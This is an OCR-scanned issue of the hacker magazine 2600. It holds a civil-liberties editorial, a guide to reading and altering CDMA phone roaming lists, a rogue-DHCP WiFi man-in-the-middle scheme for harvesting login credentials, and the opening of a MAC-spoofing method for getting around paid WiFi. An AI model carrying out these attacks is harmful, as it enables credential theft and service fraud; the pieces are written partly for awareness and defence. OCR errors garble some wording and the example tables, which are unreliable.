


i "We cannot simply suspend or 
restrict civil liberties until the War 
of Terror is over, because the War 
on Terror is unlikely ever to be truly 
over." - Judge Gerald Tjoflat of the 
11 th U.S. Circuit Court of Appeals, 
October 15, 2004. 
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Stick Around 

There's been a lot of gloomy talk in the air 
lately. It certainly isn't hard to figure out why. 
We live in very troubled times and recently it 
seems like almost all of the news has been 
bad, especially for people like us. Freedom 
seems to be vanishing, privacy is a thing of 
the past, and there's no end of predictions on 
how technology will be used against us in the 
near and distant future. And even though it 
seems like the opposite is true, this is the time 
when positive change is most likely. We just 
have to be around to see that it happens. 

The world has been changed by some very 
powerful people. Of that there can be no 
doubt. And there is great danger in allowing 
their changes to stand for the simple reason 
that people will become accustomed to them 
- either through apathy or from not knowing 
of another way. Changes in culture and soci­
ety solidify into the norm faster than you can 
imagine. Before any of us know what has 
happened warrantless searchcs, state sanc­
tioned torture, imprisonment without charge, 
and technology used to monitor our every 
move and categorize us will become the sta­
tus quo. It will then be so much harder to 
move things back to the way they were since 
we won't have the weapon of fear at our dis­
posal as those changing the world today do in 
such great abundance. 

Some of the changes occurring today arc 
necessary and even good. Few would argue 
that decent security on airplanes is a bad idea, 
provided that it's implemented in an even­
handed and sane fashion. But so far it hasn't 
even come close. Never mind the fact that 
there arc gaping security holes you can drive 
a truck through. What's more insidious is that 
people who dress in a certain manner, buy 
tickets with cash, or get one way instead of 
round trip tickets are defined as suspects. 
This is supposed to somehow be comforting 
to the masses. These traits arc then widely 

publicized which makes it rather simple for 
any questionable people to avoid being de­
fined as such. And as if that wasn't enough, 
suspicious people get to know in advance that 
they've been defined as suspicious thanks to 
the presence of four large S's on their board­
ing passes! This seems less a means of find­
ing such individuals and more a method of 
getting people to conform to a particular be­
havior pattern. Either that or it's just a really 
dumb implementation of security. Whichever 
is true, it isn't making anyone any safer. 

Demands for picture identification on air­
planes may also seem like a good idea at first. 
What better way to identify dangerous people 
before they cause problems? Except that it's 
really quite trivial for someone to bypass this 
requirement with a fake ID, as many have al­
ready done. It's such a glaring hole that one 
has to wonder if we're all being set up for the 
"necessity" of having a nationallD card that's 
standardized throughout the nation and 
mandatory to carry. As of the beginning of 
the year, such a card is now required for all 
adults in the Netherlands. The government of 
the United Kingdom is pushing for a similar 
card. Germany has had one for years. It's not 
inconceivable that something like this could 
be a reality in the United States in the very 
ncar future, especially when it's made clear to 
us how "ineffective" the current system really 
is. And public opinion is slowly being turned 
in favor of such a system due to the "risks" of 
not having one. 

Then there's the Internet which is increas­
ingly seen as a tool for terrorists. On more 
than a few recent occasions, we've seen the 
activity of hackers compared to that of terror­
ists. Any rational person can quickly con­
clude that no action of any hacker in recorded 
history has ever held a candle to what terror­
ists do. Why make such an incredibly dis­
torted claim in the first place? It's not very 
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hard to figure out the rationale. As long as the 
connection can somehow be made. it will re­
main in the minds of the public the next time 
amazon.com is unreachable or spam clogs 
their inbox. It won't matter that hackers aren't 
in any way responsible. nor will it matter that 
these inconveniences are trivial in the bigger 
scheme of things. As long as the fear some­
how manifests itself - and in most cases it 
will simply be fear of a "what if" scenario -
an Internet disruption will be as serious an is­
sue as a bomhing. And the culprits will be 
equally nebulous in each case. In addition to 
the demonization of hackers and their sympa­
thizers. the net itself will come under increas­
ing scrutiny and control. 

Whenever changes of this magnitude have 
been made in the past, we could always count 
on the checks and balances of our system of 
government to ensure that it was all being 
done fairly and that nobody's rights were vio­
lated - at least in theory. The real danger to­
day is that even this safeguard is being 
targeted as a threat of sorts. The Patriot Act 
makes it possible to completely bypass the 
Constitution when it's deemed necessary by 
various law enforcement and governmental 
agencies. Warrantless searches, monitoring 
of library users who read certain books or 
publications, infiltration of organizations that 
simply criticize the government. the ability to 
hold people (including U.S. citizens) indefi­
nitely without charges if they're labeled 
(without explanation) as a "terrorist" or "en­
emy combatant" - two terms with increas­
ingly vague meanings .... The list goes on and 
on. And while sections of the Patriot Act are 
set to expire at the end of this year, there are 
forces at work to make it even stronger and 
more permanent. 

It's truly amazing what fear can accom­
plish. 

With all of these developments. it's little 
wonder so many people are seriously consid­
ering leaving the country and starting fresh 
someplace else. And with the new US VISIT 
program that actually requires foreign visi­
tors to be fingerprinted upon entry to the 
country. we're not surprised so many people 
are crossing the United States off their list of 
places to visit. 

But if people give up, the battle may truly 
be lost. And a war analogy is perhaps what is 

in order here. What would happen if one side 

in a war simply walked away" Obviously, the 

other side would dominate and do as it 

pleased. It would be absurd to think that life 

would miraculously be restored to the way it 

was before the battle began. In a war that one 

believes in, fighting in whatever ways one 

can is the only acceptable course of action. 

Bleak as it may seem. the changes that 

have been taking place ("{In he influenced hy 

our voices and our actions. Total Information 

Awareness, Patriot Act II. and elements of the 

Children's Internet Protection Act have all 

been dealt severe setbacks due to puhlic op­

position and legal challenges. Had these ob­

jections not heen made, we would be living 

under far more restrictive rules that would 

have made our worries of today seem trivial. 

Let's not fool ourselves - all of these dracon­

ian regulations will be back under different 

names and under new circumstances. Those 

who want these kinds of changes in our lives 

are quite relentless. That's why it's so impor­

tant that we not let our guard down, ever. 

It's easy to give up and go to what may 

seem like a more pleasant environment. But 

looks can be deceiving. Anything that's a 

threat here will eventually (if not already) be 

a threat anywhere else in the world. And 

abandoning the fight only helps to ensure the 

outcome. You're supposed to feel helpless. 

like you can't possibly make anything 

change. But if you look back at history, you'll 

see that all of the shifts in direction - good 

and bad - were initially begun by a relatively 

small and insignificant number of individu­

als. 

It may seem hopeless. It may appear as if 

we're merely witnessing a long series of neg­

ative steps that will eventually crush freedom 

and outlaw opposition. But it doesn't have to 

be this way. We can unite and seek out more 

people who see the threat in these trends. 

They do exist and they are everywhere, even 

within the government itself. What better 

way to prove that you believe in free speech, 

free association, the Constitution, civil rights, 

etc. than to stand up and fight for them when 

they become endangered') 

We look forward to the battles ahead. 
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by The Prophet 
In North America,  CDMA is the most popu­

lar d ig i tal technology used in w i reless telecom­
municat ion s .  Ver izon , A l l te l , U S  Cel lu lar, 
Sprint PCS ,  Tel u s ,  Bel l Mob i l i ty,  Iusace l l , and 
numerous other carriers throughout the cont i­
nent operate serv ice on CDMA network s .  
CDM A  offers t h e  most comprehens i ve cover­
age of any d igi tal technology on our cont inent .  
COMA i s  a lso gain ing  popu l arity i n  As ia  and 
some parts of Europe outs ide the European 
Un ion . 

I n  the Un i ted S tates , every carrier sel l s  " na­
t ionwide"  serv ice in  one form or another. They 
would all l i ke you to bel ieve that they operate 
serv ice in every corner of the cont inent ,  and 
publ i sh  maps boast ing seamless , wal l -to-wal l ,  
nat ionw ide coverage . M arket ing ,  sad ly ,  mus t  a l ­
ways converge wi th real ity, and  th i s  i s  where 
roam ing comes i nto p lay. Carriers negot i ate 
roam ing agreements to provide coverage to 
thc ir  subscri bers where they do not have cover­
age of  their  own . And i n  more p laces than not , 
your carrier probably  doesn ' t  operate their own 
network . 

Hook ing you up with the right network . 
however, can be a fai rly complex technical  
problem . I ' l l  c l aborate . My CDMA handset has 
CDMA ( PCS)  and AMPS (ce l l u lar) capab i l i ty.  
and i s  compat ib le  wi th the networks of four d if­
ferent  carriers here i n  the Seattle area ( Verizon , 
Sprin t ,  Qwest . and AT&T Wireles s ) .  Obvious ly 
I prefer d ig i tal roam ing but my carrier (a nation­
wide pes carrier) doesn't have a roaming agree­
ment with Qwesl. so th i s  won't work (for what 
i t's wort h ,  my carrier has serv ice everywhere 
Qwest does and then some . so it wouldn ' t  bene­
lit mc much) .  They do have both d ig i tal and 
analog roaming agreements with Verimn (a l ­
though Illy handsel only works with analog 
roaming on the frequency Verizon uses i n  th i s  
area), and they have an ana log roarni ng agree­
ment wi th AT&T Wireless . I r I leave my home 
network . i t  i s  preferable to my carricr that I 
roam on the Verizon network because the  
wholesale a i rt i me i s  less cost ly  to  them than 
from AT&T Wire les s .  I t 's prei"crable to me. too: 

Cal ler  ID and voicemai l notification don't work 
when I am roaming on AT&T Wireless .  

Fortunately for you and your  wireless car­
rier, you don't have to make conscious dec i s ion s  
about which carrier on which to roam . Your 
handset uses a fi le  cal led the Preferred Roaming 
L i st ( PRL)  to  do i t  for you . Th i s  fi l e  conta ins  
a l i st ing  of the  frequencies and system I Ds i t  
i s  authorized to use .  I t  i s  s tored i n  b inary format 
and i s  often updated by the carrier over the 
a ir  when you cal l customer serv ice . Unfortu­
nate ly  for you , th i s  means that your carrier 
can make changes to your roam ing coverage 
w ithout you knowing .  And even more unfortu­
nate ly ,  they may not be good changes from your 
perspect ive .  

Parts of a PRL 
PRLs are fair ly standard ized , although there 

are some subtle d i fferences between can'iers 
( such as whether an enhanced roaming ind icator 
i s  used). The fi le cons i sts of an acqu i s i t ion tab le  
and a system table . What fol lows i s  how a major 
nat ionw ide PCS carrier structures i ts PRLs . 

Acquisition Table 
The acqu i s i t ion table indicates which fre­

quencies and technologies are used when 
search ing for a w ireless s ignal . These are used 
to he lp your handset qu ick ly locate a s ignal . Ac­
qu i s i t ion tables can also be used to restrict your 
handset to a part icu lar type of serv ice (such as 
analog ) .  even when another type of serv ice 
( such as d ig i ta l )  may be avai lable .  Th i s  is unfor­
tunately common: analog wholesale a irt ime i s  
genera l ly  less expens ive than d ig i ta l . s o  your 
home carrier may prefer to stick you w i th 
crack ly ,  battery-dra in ing  analog serv ice when 
you leave their serv ice area .  

The acqu i s i t ion table i s  broken i nto the fol ­
lowing categor ies :  
Index: This  i s  a nUlllerical ident i f ier for each en­
try i n  the acqu i s i t ion table . 
ACQ Type: This  is a nu merical ident i fier for the 
technology that i s  used: 
I - AM PS/Ce l l u lar frequencies 
4 - CDM;\/Cel lu l ar frequencies 
."i - CDMA/PCS Frequencies (scan cnt i re block) 
6 - CDM A/PCS Frequenc ies ( scan part i ,d block) 
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CH I: Indicates the fi rst channel to be scanned , or one of the fol lowing spec ia l  characters: 
A - Scan cel l u lar or PCS " A "  b lock (the handset decides which depending on the acqu i s i t ion type) 
B - Scan cel l u l ar or PCS " B "  block ( the handset decides which depending  on the acqu i s i t ion  type) 
C - Scan PCS "C" block 
D - Scan PCS "D" block 
E - Scan PCS "E" block 
F - Scan PCS "F" b lock 
B oth - Scan cel l u lar A and B blocks 

CH2-CH37: Each of these can be used to scan addi t ional , spcc i fi cal l y  ident i ficd,  PCS frequency 
range 

Figure 1: Example Acquisition Table 

INDEX ACQ TYPE CH 1 CH2 CH3 CH4 CH5 CH 6 CH7 CH3 1 

5 0 0  425 8 2 5 575 850 3 2 5  625 2 0 0  

575 625 5 0 0  425 

2 5 0  1 0 0  75 475 8 25 850 175 2 5 0  

2 5  2 0 0  3 5 0  375 725 5 0  475 175 2 5 0  

4 Both 

5 A 

B 

5 A 

5 B 

5 C 

1 0  D 

1 1  E 

12  5 F 

1 3  A 

14 B 

37 Both 

Note: 7his has heen truncated /0 conserve space. Most acquisition tabies (Ire much more cO/llplex 
and contain over 40 entries . I have retained 1t37 in the index hec(luse it is rejcTellced in thefigllres he­
low. 

System Table 
The system table is the meat of the PRL.  It l i sts System I D s  that your phonc is authorized to usc ,  

the acqu i s i t ion type used wi th each , and the ir  priority. I t ' s  important t o  real i ze that th i s  i sn 't a com­
prchensive l i st ing  of all the carriers with whom your wireless c arrier has a roam ing agrcement .  For 
example ,  my handset w i l l  al ways defaul t  to the analog cel l u l ar " A "  block carrier if no other s ignal 
i s  avai lab le .  Th i s  i s  jus t  fi ne i n  Valdez , A l aska .  While the i r  System ID i s  not inc l uded i n  the current 
PRL on my handset , Dobson Cel l u l ar has a roam ing agreement with my home carrier and operates 
analog serv ice on the cel l u l ar "J\" bloc k ,  so I had no trouble roaming there . 

The system table i s  broken i nto the fol lowing categories: 
Index: Th i s  is a numerical ident ifier for each entry i n  the system tabl e .  
SID: The System I D  of t h e  carrier being scanned . For example , 0006 i s  t h e  System I D  for t h e  Veri­
zon Seattle market . 
NID: The Network I D .  Th i s  is nearly al ways set to 65535. 
NECIPREF: Determi nes whether the entry represents a preferred or negat ive System I D .  If th i s  i s  
se t  to NEG,  on ly emergency cal l s  are a l lowed on th i s  System II).  
CEO: I f  set to N EW, th i s  represents a new geographical area i n  the PRL . 
PRI: If set to SAM E,  the next entry has the s,n lle priority as the current entry. If set to MORE. the 
next entry w i l l  have a lower priority than the current entry. 
ACQ Index: Cross-references an i ndex entry i n  the acqu i s i t ion table . The System ID w i l l  be scanned 
using the frequencies represented i n  th i s  entry. For example , an acqu i s i t ion index of  4 mcans that 
the handset w i l l  scan the ce l lu lar A and B b locks for an A M PS (analog) s ignal . 
ROAM IND: Determ incs whether the roaming indicator is d i splayed . This  is somewhat cOllnteri ntu­
it ive: a roam ing indicator of  I means that no roam ing ind icator w i l l  be d i splayed, whi le a roam ing 
indicator of () means that  one wi l l  be d i sp layed .  
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Figure 2: Example System Table 

4 174 655 35 Pref NEW SAME 12 

4 1 8 0  655 35 Pref SAME SAME 6 

3 4 1 8 6  655 35 Pref SAME SAME 12 

4 4 1 8 8 655 35 Pref SAME MORE 12 

5 1 1 65 655 35 Pre f SAME SAME 0 

6 1 4 4 1  655 35 Pref SAME MORE 37 0 

7 1739 655 35 Pref SAME MORE 37 0 

8 4 3 6  655 35 Pref SAME MORE 37 0 

9 5 8 0  655 35 Pref SAME MORE 37 0 

1 0  1 17 3  655 35 Pref SAME SAME 4 0 

1 1  1607 655 35 Pref SAME MORE 37 0 

12 1 6 1 0  65535 Pre f SAME MORE 37 0 

13 1779 655 35 P r e f  SAME MORE 37 0 

14 17 8 4  65535 Pre f SAME MORE 37 0 

15 1 8 5 8  65535 Pref SAME MORE 3 0 

1 6  1 8 5 8  65535 Pre f SAME MORE 0 

17 6 65535 Pre f SAME MORE 37 0 

Note: This has heen truncated to conserve "pa('e. Most acquisition tahles are much more complex 
and contain hundreds o/entries .  

Interpreting PRLs 
Obvious ly ,  raw PRLs aren ' t  very h uman-readab le .  Some CDMA hackers l i ke to take PRLs apart 

after they arc released and match up the information in them w i th FCC databases and other sources .  
Th i s  can  prov ide some ins ight i n to new coverage and  changes to ex i st ing coverage . 

To i n terpret a PRL,  you need to download the  b inary vers ion to your  handset us ing a data cab le .  
You can do th i s  us ing the  fi le system browser i n  the  free B i tP im too l  ( to download the  too l , search 
the Web for B itP im) . Depending on your carrier, th i s  file may be located in an obv ious p lace , or may 
not be . On many handsets the file is l ocated in the Invm/PRL d i rectory. On my handset , the 
prU)OOO and prU)OO I fi les you'd expect i n  that location arc there . However, they 're effect ive ly 
b lank- 4 ,306 bytes of N UL L  characters . 

On my handset (and many Sanyo handsets) ,  you need to keep d igg ing .  Go to the Invm/nvm 
d irectory. The nvm_OO l 9  or n vm_0024 ti le  i s  your  target . Save both out  to your hard disk . 

You ' re not ready to hack on it yet (you d idn ' t  th ink i t 'd be that easy, d id  you'?) . You ' l l  need to 
massage it in a hex editor fi rs t .  I l ike XVI32 ,  which you can find by search ing the web ; i t ' s  freeware 
and works wel l .  

Open the f i le  i n  your hex editor and search for the OF (hexadec i mal )  offset .  Truncate a l l  the char­
acters ahead of i t ,  then scro l l  to the bottom of t h e  file a n d  tind where a l l  of t h e  nu l l  characters (00 
hexadec imal )  beg i n .  Truncate them a l l .  

N o w  save your changes and open the t i l e  i n  your favorite PRL edi tor ( y o u  c a n  fi n d  o n e  eas i l y  b y  
searching the web) . I f  you've done everything correctly,  you wil l  be able to open the PRL for v iewing .  

Figure 3: Example PRL Interpretation, Based on Figure 2 System Table 
priority 1 

04174 PCS 

04180 PCS 
SCAN 

SCAN 
04186 PCS 

04188 PCS 

Priority 2 

SCAN 

SCAN 

01165 (A) RM 
389A 
390A 

01441 D/A RM 
268A 
297A 
523A 
524A 
525A 
526A 

SprintPCS - Portland OR 
500B 575B 475B 

SprintPCS - Salt Lake City UT 
675B 500B 600B 

SprintPCS - Seattle WA 
500B 575B 475B 

SprintPCS - Spokane WA/Billings 
500B 575B 475B 

Western Wireless Corporation 
Idaho 2 - Idaho 
Idaho 3 - Lemhi 
Western Wireless Corporation 
Billings MT 
Great Falls, MT 
Montana 1 - Lincoln 
Montana 2 - Toole 
Montana 3 - Phillips 
Montana 4 - Daniels 

527A Montana 5 - Mineral 

MT 
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528A 
529A 
530A 
531A 
532A 

01739 D/A RM 
675A 
676A 
677A 
678A 

Priority 3 
00436 D/A RM 

229B 
00580 D/A RM 

191B 
214B 
607B 
608B 
697B 
699B 

01173 (A) RM 
390A 
392A 
393A 

01607 D/A RM 
610A 

01610 D/A RM 
611B 

01779 D/A RM 
696A 

01784 D/A RM 
698B 

Priority 4 
01858 PCS RM 

SCAN 
Priority 5 

01858 (A) RM 
677B 

Priority 
00006 

6 
D/A RM 

020B 
082B 
212B 
242B 
270B 
693B 
696B 

Montana 6 - Deer Lodge 
Montana 7 - Fergus 
Montana 8 - Beaverhead 
Montana 9 - Carbon 
Montana 10 - Prairie 
Western Wireless Corporation 
Utah 3 - Juab 
Utah 4 - Beaver 
Utah 5 - Daggett 
Utah 6 - Piute 

United States Cellular Corporation 
Medford OR 
United States Cellular Corporation 
Yakima WA 
Richland-Kennewick-Pasco WA 
Oregon 2 - Hood River 
Oregon 3 - Umatilla 
Washington 5 - Kittitas 
washington 7 - Skamania 
United States Cellular Corporation 
Idaho 3 - Lemhi 
Idaho 5 - Butte 
Idaho 6 - Clark 
United States Cellular Corporation 
Oregon 5 - Coos 
United States Cellular Corporation 
Oregon 6 - Crook 
United States Cellular Corporation 
washington 4 - Grays Harbor 
United States Cellular Corporation 
Washington 6 - Pacific 

UBET Wireless 
25 200 350 375 725 50 475 175 250 

UBET Wireless 
Utah 5 - Daggett 

verizon Wireless 
Seattle-Everett WA 
Tacoma WA 

WA 
1 - Clallam 
4 - Grays Harbor 

Hacking PRLs 

Bremerton WA 
Olympia WA 
Bellingham 
Washington 
Washington 

Here's where things might  get more i n terest ing .  Suppose that i n  the example above , you knew 
that Western Wireless operates COMA serv ice on the S I D  1 1 65 " A "  cel l u lar bloc k .  Unfortunately, 
your carrier, through the PRL, has restricted you to crackly ,  battery-dra in ing ,  scratchy analog serv ice 
when you travel in this area.  Let' s  also assume for the sake of argument that the cel l u l ar " B "  carrier 
i n  the area has better serv ice ,  but i sn ' t  i n  the PRL even though you know your carrier has a roam ing 
agreement with them.  

If the  acqui s i t ion i ndex were to change to 37 from 4 on th is  entry, you'd suddenly  have d igital  ser­
v ice in thi s area.  Or what about bypass ing Western Wireless ent ire ly?  Add the carrier you prefer i nto 
the PRL and elevate thei r  priority above Western Wireless , and you'd use them instead . Here 's  how to 
do i t :  

Obtain a copy of the Phone Service Tool (PST) for your handset . I t  he lps  to have a friend who 
works for your wireless carrier, because PSTs genera l ly  aren ' t  avai lable to consumers . 

Us ing your PRL editor, make the changes and save them out to a new binary fi l e .  
Us i ng  the PST, upload the new PRL to  your  handset . Be carefu l never to  upload an  empty PR L !  
I f  th is  sounds daunt ing ,  i t 's  because i t  i s .  I a lways encourage people  t o  experiment with technol-

ogy,  but th i s  i s  someth ing I don't encourage most 2600 readers to try. You won' t  break your phone by 
read ing the in terest ing  things in the ti l e  system of your handset ,  and i t ' s  defi n i te ly safe to read your 
PRL. However, bad things can happen if  you make changes ,  so be forewarned: 

You will void the warranty on your handset . Don't expect any sympathy from your carrier, and 
they will know how you broke your phone (espec ia l ly  after this art ic le appears i n  2600)! 
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You w i l l  almost certa in ly  v io late the terms of 
your carrier's serv ice agreement. Th i s  means 
that your carrier can cancel your serv ice and st i l l  
charge y o u  the early term inat ion fee (yes ,  even 
though they canceled you). 

If you upload a blank PRL , your handset may 
be i rreparably  damaged (yes , real ly ,  th i s  has 
happened). 

PRLs are complex and i t ' s  easy to mess them 
up ,  so you m ight have weird problems w ith your 

serv ice if  you make changes. I f  you have proo­

lem s ,  just  revert back to the origi nal PRL and 

they should go away. 

In some areas , creating or us ing a hacked 

PRL may even be a crime ! Take th i s  warn i ng 

serious ly. Penalt ies for technology crimes are 

beyond a l l  bounds of reason. 

You now have the power. U se i t  for good , 

not for ev i l ! 

fln 010 TriCltfoc a New Dog 
WIFI.A\p MITM 

by uberpenguin uses a common MAC-based authenticat ion 
uberpenguin @hotpop.com method that requ i res you to log in us ing  your 

I f  you are reading th i s  magaz ine ,  i t  i s  proba- user ID and password before i t  w i l l  a l low access 
bly safe to assume you are fami l iar with the to the rest of the network. Th i s  login form i s  se­
concept of a man-in-the-middle attack (which cured u s i ng 256-bit  AES encrypt ion that  i s  
from here wi l l  be referred to as M ITM for s igned by a l arge CA (as we shal l  see l ater, th i s  
brev i ty )  as i t  pertains  to network ing resources. proves to be the most fool proof part of the sys­
I n  this art ic le  I hope to point out how th i s  old tem).  As you can see , the network i s  setup wi th  
and we l l  known concept can be app l ied to an every sens ib le  measure that  can be implemented 
802. 1 1 WiF i  network. I w i l l  use a case study of w i th a non-homogeneous network (hardware , 
a fai rly  large w i reless network I have access to OS , or otherw i se) .  However there are s t i l l  prob-
i n  order to i l l ustrate a poss ib le  scenario of a lems. 
WiFi  M ITM attack. The Scenario 

The Network 
First, let ' s  estab l i sh  that gai n ing  access to the 

network i s  not going to be d i scu ssed here. In my 
case study I a l ready had leg i t imate access to the 
network and formu lated my scenario from the 
point of view of one of the nu merous  persons 
who also have access to this w i reless network. I 
w i l l  not talk about the mundane techn ical de­
tai l s  of the software setup; that is out of the 
scope and interest of this art ic le. A general de­
scri pt ion of the w i reless network setup fol lows :  

The network i n  quest ion cons i sts  of numer­
ous access points p laced throughout a large area 
that inc l udes both indoor and outdoor coverage. 
Each access poin t  is "dumb,"  that i s ,  it s imply 
acts  as a bridge between a w i red and w i reless 
network and noth ing el se. The w i reless APs are 
set up w ith a l l  the reasonable precautions: ES­
S I D  broadcast ing turned off and WEP. The 
w i red network that all the APs connect to is sep­
arate from the rest of the fac i l i ty 'S networks. A 
s i ngle gateway is the bridge between the w ire­
less system ( i nc l ud ing the w ired network of a l l  
the  APs as we l l  as the w i re less  c l ients that con­
nect to them )  and the rest of the network re­
sources. Th is  gateway also acts as the DHCP 
server for a l l  the w ireless c l ients. The gateway 

The bas ic  concept that th i s  scenario cons id­
crs is that of DHCP operation. For those of you 
not fam i l iar; a DHCP c l ient  sends a broadcast 
packet to the network request ing DHCP serv ice. 
I t  w i l l  then wait for the fi rst  DHCP server that 
responds to the request w i th configuration infor­
mation ;  re-send ing the DHCP broadcast if nec­
essary. Here i s  where we zero i n  on the key 
phrase " fi rst DHCP server." The DHCP c l ient  
wi l l  u se whatever information i t  fi rst  rece ives 
and ignore a l l  subsequent DHCP responses. 
Thus we have the bas i s  for our scenario. In our 
hypothet ical setup ,  we have four important 
components :  a fi rewal l  that can perform rout ing 
funct ion s ,  a DNS server, a DHCP server, and an 
HTTP server (and a WiF i  card that  works wi th  
whatever 802. 1 1 standard i s  be ing used obv i ­
ous ly).  A l l  of these components are read i l y  
ava i l able for most Free *n ix  systems. 

The idea i s  to set up a clone of the " real " 
gateway that bridges the w ireless system to 
everyth ing e l se. Depending on where a person 
i s  phys ica l ly  located i n  re lation to c l ients , the 
clone DHCP server may be able to send a re­
sponse to a g iven DHCP request more qu ick ly  
than the real gateway. To affect a larger numbcr 
of w i reless users , one would mere ly  need to 
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change their physical locat ion . After a c l ient has 
recei ved the al ternate DHCP information and 
attempts to access a network resource ( i n  th i s  
case , an HTTP resource) ,  the normal behav ior 
of the real gateway i s  m i micked . Spec ifical ly,  
thi s  entai l s  red irect ing the user to a secure login 
page hosted on the gateway. Here in  is  the 
l argest flaw in  th i s  attack ,  one whose effects 
w i l l  be di scussed short ly .  There i s  no good way 
to forge a secure cert i fi cate . We can repl icate the 
normal behav ior of the real gateway in  every 
way, down to i ts  domain name thanks to our 
DNS server. B ut the false login page wi l l  have 
to be i nsecure , un l ike the real one . Here we 
must have fai th i n  the ignorance of Joe WiFi  
U ser. Even a security-conscious person such as 
myself can neglect check ing the authent ic i ty of 
a host that  i s  supposed to be secure . I n  a rush to 
do other th ings , one can just qu ick ly  login to the 
gateway not g iv ing a moment's thought to the 
security r isk they just took . That fact i s  what 
makes all of th i s  poss ib le;  otherwise the secure 
log in  would be a show-stopper. 

By now I am sure the reader has ascertained 
where this scenario i s  headed . Presented with a 
fami l i ar log in form , Joe WiFi  U ser enters h i s  
userID and password a n d  presses Submi t .  Of 
course our faux  gateway w i l l  log h im  in to the 
real gateway, pass ing along the values to the 
real HTTP server for process ing and observ ing 
the resu l t .  H owever, upon recogn iz ing a suc­
cessfu l  authenticat ion rout ine ,  the script w i l l  log 
this user I D  and password combo . MlTM attack 
successfu l . 

The Conclusion of the Matter 
Let's briefly consider the " flaws "  in th i s  sce­

nario .  Obv iously this setup w i l l  not go unde­
tected for long .  Upon real iz ing that the login 
page being presented i s  i n secure , any savvy 
u ser w i l l  immediate ly  real ize someth ing is 
wrong and (hopefu l ly )  report i t  to whomever is 
responsible for maintain ing  the wireless system . 
The admin i s trators w i l l  qu ick ly  be able to spot 
an u nauthorized DHCP server and the traffic it 
generate s .  Most cards allow overr id ing of their 
bui l t- in MAC address , so track ing the offender 
may not be easy. However the network admins  
w i l l  a t  least be  able to figure ou t  general phys i­
cal locat ion of the fake gateway by determ i n ing 
which access point i t  i s  u s i ng for i ts  own net­
work connect iv i ty.  By changing locat ion and 
hardware addresses , however, one could l i ke ly  
keep up th i s  rout ine for a wh i le without being 
caugh t .  

As was  mentioned i n  the  network descrip­
t ion , the wireless APs in my case study do not 
perform any network functions other than 
bridging the wired and the w i reless . I f  these APs 

were g iven some packet forwarding and firewal l  
functional i ty,  they would be able to enforce 
ru les on a l lowable DHCP packets and poss ib ly  
e l i minate the M ITM problem described i n  th i s  
art ic le .  A nother poss ib i l i ty for e l im inat ing th i s  
sort of vu lnerab i l i ty i s  a b i t  of password trickery 
us ing RSA's  SecurlD system . Obv ious ly  th i s  re­
qu i res a fai r  monetary investment ,  but i t  is a 
valuable one for any large-scale w i reless net­
work . Yet another suggestion I have heard i s  us­
ing Windows' Act ive Directory pol ic ies to 
d i sal low DHCP configuration from any hosts 
that are not spec i fied i n  a trusted l i st .  Of course , 
th i s  is on ly  an option i n  a homogeneous ( M i ­
crosoft) OS env i ronment whcre the desktop 
software can be somewhat contro l led .  This i s  
n o t  the case i n  the network I have been describ­
ing, but i t  could be in other cases .  Perhaps the 
best tradeoff that can be used to min im ize the 
vu lnerab i l i ty i s  enforc ing a strict password pol­
icy for the gateway. I n  my case study network 
setup ,  the u serlD and password used to authen­
ticate with the gateway is the same one that is 
used for most other computing scrv ices . Th i s  
account i s  meant t o  protect qu ite a b i t  of sens i ­
t i ve  data , inc lud ing and  no t  l i m i ted to  fi nancial  
and adm in i strat ion i nformation . 

The conc lus ion we are forced to make , 
therefore , is that our wireless network is to be 
treated as who l ly  i nsecure . The case study does 
take that stance for the most part , but a crucia l  
deta i l  was overlooked when important user ac­
counts were a l lowed to be used for Wi Fi au­
thent icat ion . Ideal ly  users would use a total ly  
d ifferent  userlD and password to log in to the 
gateway, or at least a d ifferent password . 
Doubt less ly ,  the u sers would be unhappy, but 
that i s  a smal l price to pay for the added secu­
rity.  These accounts would no longer be so use­
fu l that someone m ight want go through a l l  the 
trouble of col lect ing them .  All they do i s  g ive 
you access to the network i t se lf  rather than a l l  
the resources on the network . 

Above a l l  e l se ,  I bel ieve th i s  art ic le  dcmon­
strates the extreme necess i ty of emphas iz ing to 
end users the importance of verify ing  that they 
are connected securely to the gateway before at­
tempt ing to log i n .  Remember that th i s  entire 
scenario re l ies  on most users not rea l i zing what 
is happen ing .  Whi le  i t  cannot be reasonably ex­
pected for every WiFi user to bccome network 
competent; a l i tt le bi t  of knowledge can go a 
long way in i mprov ing your wireless security. 

Many thanks go to aydiosmio and open/fy 
.f(J1' their help in exploring the possibilities (�j' 
this idea . 
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by wishbone 
Most hote l s ,  cru i se sh ips ,  and cafes use the 

same techniques for host ident ification on their 
subscription wireless serv ice . Every single wire­
less service I have come across thus far all have 
the same layer 2 vu lnerab i l i ty i n  the ir  host ident i ­
ficat ion . I t ' s unfortunate that developers ignore 
layer 2 security far too often . Or worse , they 
th ink i t  has some k ind of security by obscurity 
benefit . The method I w i l l  describe here w i l l  nor­
mal ly  only work on wireless connections be­
cause i t  i s  difficul t  to implement physical 
hardware controls  on a wireless medium .  It w i l l  
work o n  any wireless system that u s e  the MAC 
address as the only authentication mechani sm af­
ter the i n i t ia l  serv ice purchase . Thi s  inc ludes 
most hote l s ,  I nternet cafes ,  and cru i se sh ips that 
otfer wireless connections .  There are major flaws 
in  assuming that l ayer 2 inherently has any k ind 
of security. There certa in ly are options at that 
level (802 . 1  x for example) , but current ly the 
technology hasn't reached maturity yet for the 
masses .  Most of these systems c lose everything 
but port 80 to unauthorized mach ines , which is 
automatical ly forwarded to their gateway page 
for user authentication . Once the user authentica­
t ion i s  g iven and the purchase plan is chosen it 
w i l l  automatical ly allow all of your connections 
to pass .  The auth system sends a message to the 
gateway or access point to tel l i t  that your mac 
address is authorized for access .  Some of these 
systems differ in how they authenticate or what 
k ind of hardware they use .  However, a l l  of them 
rely on one s i mple fact ;  you have a un ique M AC 
address that no one else can use .  I do honestly 
hope that isn't what they were th ink ing when the 
system was des igned , but there seems to be no 
addit ional securi ty beyond layer 2 after the web 
authent ication has taken place . The method I w i l l  
outl i ne here i s  s i mple MAC spoofi ng technique .  
Which i s  as easy as chang ing your I P  address .  

For the fi rst step you ' l l  need to  do some pas­
s ive snooping of the airwaves .  There are several 
good u t i l i t ies these days out there for th i s ,  but I 
prefer K i smet on Linux . K i smet rea l ly  gives you 
a lot of i nformation inc luding fu l l  packet capture 
of everything you sec . If you're not fam i l iar with 
war dri v i ng or wireless reconnai ssance , do a 
search .  You ' l l  f i nd lots of help out there on the 
subject . You might want to just tum your part icu­
lar wireless data capture program on and walk 

around the area for a few m inutes . Th i s  w i l l  al­
low you to capture lots of data that you ' l l  need to 
